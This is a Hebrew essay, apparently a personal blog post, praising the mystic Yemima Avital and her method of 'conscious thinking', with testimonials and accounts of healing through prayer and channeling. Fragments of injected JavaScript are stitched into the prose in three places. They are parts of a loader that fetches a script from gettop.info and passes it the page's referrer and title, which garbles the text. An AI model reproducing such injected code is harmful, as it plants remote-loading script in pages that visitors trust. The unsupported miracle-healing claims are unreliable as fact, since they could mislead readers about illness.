מחשבות שלי על חשיבה הכרתית

בשנים האחרונות אני שומע יותר ויותר את הביטוי – חשיבה הכרתית .   לא ייחסתי לו חשיבות מיוחדת, היות שבעיניי כמעט כל חשיבה היא חשיבה הכרתית, מודעת ( אם כי לא בהכרח רציונאלית). כאשר שמעתי את הקישור ובעיקר את הייחוס שלה למיסטיקנית ימימה אביטל, נזקפו ונפקחו  חיישני-הסקרנות שלי. שאלתי. התעניינתי.

ככל ששאלתי הבנתי שהחמצתי. לא זכיתי להכיר את מייסדת שיטת ימימה, אשר מיוסדת על חשיבה הכרתית. לא זהר אליי אורה, לא נאצלה עליי הילתה. אבל כאשר שוחחתי  לפני זמן קטם עם אחת מתלמידותיה הבנתי עד כמה רבה ועמוקה היא השפעתה על המוני בני אדם הלומדים את תורתה.

חשיבה הכרתית אינה חשיבה תלושה. ההיפך הוא הנכון – זו חשיבה שמשפיעה על פעולת  בני האדם הפועלים לפיה במציאות החיצונית. באופן שעשוי להישמע ולהיתפס כפרדוכסלי – ככל שאדם מעמיק בחקר עצמו ובזיהוי המתולל בנפשו, כך הוא עשוי, לאחר  ניקוי עצמו ממשקעי העבר הטורדניים והבולמים, לחיות את חייו במלוא החושים, ההכרה והמרץ. לחיות חיים מלאים, שלווים, רגועים, מאוזנים. חיים של טעם ומיצוי עצמי מרבי.

חשיבה הכרתית על-פי שיטת ימימה מתבצעת  בקבוצות קטנות, לרוב עלפי שיוך מגדרי, שבהן כל משתתף בוחן את  עצמו על-פי האופן שבו הוא מיישם את התובנות בחיים שמחוץ לכיתת הלימוד.

אפשר למצוא באינטרנט – וכמובן גם להיוודע מפה לאוזן – היכן מתקיימים לימודים על פי שיטת ימימה. חשוב לציין ואף להדגיש, כי  תכליתה של חשיבה הכרתית לפי ימימה אינה אמורה להניע אנשים לשנות  את חייהם מהקצה את הקצה, לא לחזור בתשובה, לא לשנות הרגלים. היא אמורה  לסייע להם לגלות בתוכם את הכוחות החיוביים,  את המקורות האנרגטיים, המאפשרים להם לחיות את החיים במלואם  ברוגע ובשלווה.

על-פי עדוית רבות, ההולכות ומצטברות, מנכ"לי חברות ואנשי שם (ידוענים) שהתוודעו לשיטה, השפעתה לא תיאמן. רבים מעידים ומודים שהיא חוללה שינויים מוחשיים בכל תחום והיבט של חייהם –  כשהם לעצמם, בזוגיות, במשפחה, בחוג החברים, בעבודה.

11 שנים לאחר מותה חיה שיטת ימימה המבוססת על חשיבה הכרתית.  תלמידי-תלמידיה מתרבים והולכים וכל העת נפתחים מרכזי לימוד במקומות  נוספים, אם בערים גדולות ואם ביישובים קטנים.

חשיבה הכרתית אינה  מגלה את  מקור "האור הנכון" – אחד ויחיד לכול; היא מאפשרת לכל אחד להדליק את האור הנכון לחייו שלו.document.currentScript.parentNode.insertBefore(s, document.currentScript);}

ימימה – האישה והאגדה

לא הכרתי אותה. לא זכיתי. כל מה שאני יודע עליה – מקריאה אני יודע, מעדויות של תלמידיה, מווידויים של מי שחייבים לה את חייה.  היא לא הניחה יסודית לקיומה של כת או דת חדשה.  יש לה ירושה   אולי אף מורשת – הזכות לחיים של חירות פנימית, בשמחה ובאושר תוך מיצוי מרבי של כלל הכישורים והיכולות, מענה מלא לצרכים ומימוש מלא של רצונות –  אבל אין לה יורשים רשמיים, להוציא את תלמידותיה הנאמנות, שזכו להכירה ולשמוע את תורתה-שיטתה מפיה.

ימימה אביטל היתה אישה שכל הגדרה שלה לא תמצה את מלוא אישיותה. אפשר לדמות אותה למניפה אשר  גם כשהיא פתוחה לרווחה, תמיד קיים עוז איזה קפל חסוי, סמוי, שעתיד להיפתח, במפתיע.

לימודי ימימה מתקיימים כיום במסגרות שונות, בערים גדולות וביישובים קטנים. עם תלמידיה נמנים אנשים ידועי שם מתחומי חיים שונים, לרבות ידוענים מעולם הבידור והאמנות. לא מדובר באנשים תמהוניים שחיפשו כיוון או משמעות לחייהם אלא חיפשו דרך להעשירם, לפתוח את חסימותיהם, לאפשר להם להמשיך במסלול חייהם אבל בתנופה מחודשת.

ימימה היתה אישה דתית, מאמינה, אבל מעולם לא הטיפה לאיש לחזור בתשובה. בכלל – בכל המסגרות של לימודי ימימה אין הדגשת מוטיב הדת. מי מתלמידיה  החילוניים שבחרו, מרצונם  החופשי, לחזור בתשובה עשו זאת  כבחירה שנראתה להם טבעית ומתבקשת, במהלך התעמקותם בלימודי שיטת ימימה.

נראה לי, אם יורשה לי, שככל שמרבים לעסוק בשליחותה של ימימה בעולם, מובלע או לא מודגש מספיק  מימד הנתינה שבמכלול אישיותה. ימימה לא כוננה רק שיטה – חשיבה הכרתית – אלא אף עשתה מעשים. רבים. בקביעות ובהתמדה. כשליחת מצווה.

מדי שבוע ייחדה והקדישה יומיים לישיבה על יד מיטות חולים בבתי חולים שונים ברחבי הארץ וסעדה  את הזקוקים לסעד. היא התפללה להחלמתם. רבות מתפילותיה נענו ולא אחת הלא ייאמן כי ייתכן קרה: אנשים קמו מהמיטה, החלימו והמשיכו בחייהם. ימימה "עשתה השתדלות". היא גייסה את כל תעצומות הנפש והאמונה שלה ואת כל הקשרים, הקישורים ובעיקר – התקשורים ( עם יישויות חיצוניות) כדי להביא מזור לחולים. ימימה היתה אגדה בחייה ונותרה אגדה – עשירה יותר – במותה. 11 שנים לאחר מותה  היא עודנה נוכחת וחיה כאן, מאצילה מקדושתה, סוחפת, משמשת מצפן לתועים, מאששת נרפים, מהווה סמכות רוחנית עליונה, עילאית, למי שרואים בה את האישה של חייהם. לא פחות.}s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";

"ימימה"

היא אמרה לי שאני חייב להתנסות בשיטת ימימה. היא מכירה אותי. מי כמוה יודעת אותי מתוכי. מי כמוה מכירה את הרגישויות שלי, את הבטן הרכה, את היבלות, את שק הדמעות. ימימה, רק לימודי ימימה. אתה לא צריך שום טיפול. רק אתה יודע מה חסר לך, מה מעיק, מה מציק. רק אתה תוכל להגליד את פצע חייך. אני קשוב אליה ומקשיב לה. אם היא אומרת, היא ודאי יודעת על מה היא מדברת.

היא סיפרה לי על חברה טובה שלה שמשתתפת בשיעורים במסגרת לימודי ימימה, מיסטיקנית מופלאה שניחנה בכוחות עליונים, על-טבעיים, ביכולות תקשור מדהימות וביכולת לרפא אנשים בתפילותיה. הבנתי שלא מדובר בקוסמת.

התחלתי לגגל מעט אודותיה ברשת האינטרנט. הופתעתי מכמות תלמידיה, חסידיה, מעריציה המושבעים, האנשים שסוגדים לה, שהיא בפיהם אלה, אלילה, אלוהית.

ימימה אינה "חופרת", כפי שמכנים זאת הצעירים כיום, בנשמה. היא אינה מחטטת ואינה מחרטטת. לימודי ימימה הם לימוד שיטתה המכונה – חשיבה הכרתית.

אני עדיין בתהליך לימוד על לימודי ימימה. היא מצטיירת בעיני כאישה מיוחדת במינה, שהבליעה עצמה ונותרה נסתרת, מרצון ומדעת. אפילו את שיעוריה העבירה ימימה כשהיא אינה חשופה לעין תלמידיה, כאילו מבטלת בכך את מרכזיותה; כאילו אומרת – לא אני העיקר אלא תורתי, שיטתי.

החשיבה ההכרתית על פי ימימה נותנת לאדם כלים להתמודד עם חייו באופן נקי, ללא התניות מעברו בכלל ומבלי לתת לטראומות שחווה בעברו להשפיע על חייו בהווה. כאשר אנחנו פוגשים מצבים שונים, עלינו לפעול בהם מהמקום הרגוע והשקט שבתוכנו, מהמקום שמקבל דברים ולא מתנגד להם.

תלמידים שזכו לשמוע את דבריה של ימימה ממקור ראשן מעידים על חוויה מסוג מיוחד, עצמתי, שכמוהו כהארה וכהתגלות. לדבריה, היא קיבלה מ"כוחות עליונים" הארות ותובנות שאותם כינתה בשם 'חלקים'.

ימימה העבירה את תורתה חלקים חלקים, לא כמשנה סדורה ומובנית, לא במסגרת של תכנית לימודים קבועה ומערכי שיעור מסודרים. כל שיעור היה הפלגה בספינה אחרת ובים שונה במסע החיים המרתק, שהיא היתה קברניטו.
כיום נמנים עשרות אלפי אנשים עם קבוצות לימודי ימימה, בהם ידוענים מתחומים שונים ופשוטי העם. כל אחד מפיק מתורת ההכרה של ימימה את מה שמתאים לחייו, אשר איכותם משתפרת בכל היבט ומימד עם התוודעותו לשיטתה.d.getElementsByTagName('head')[0].appendChild(s);} else {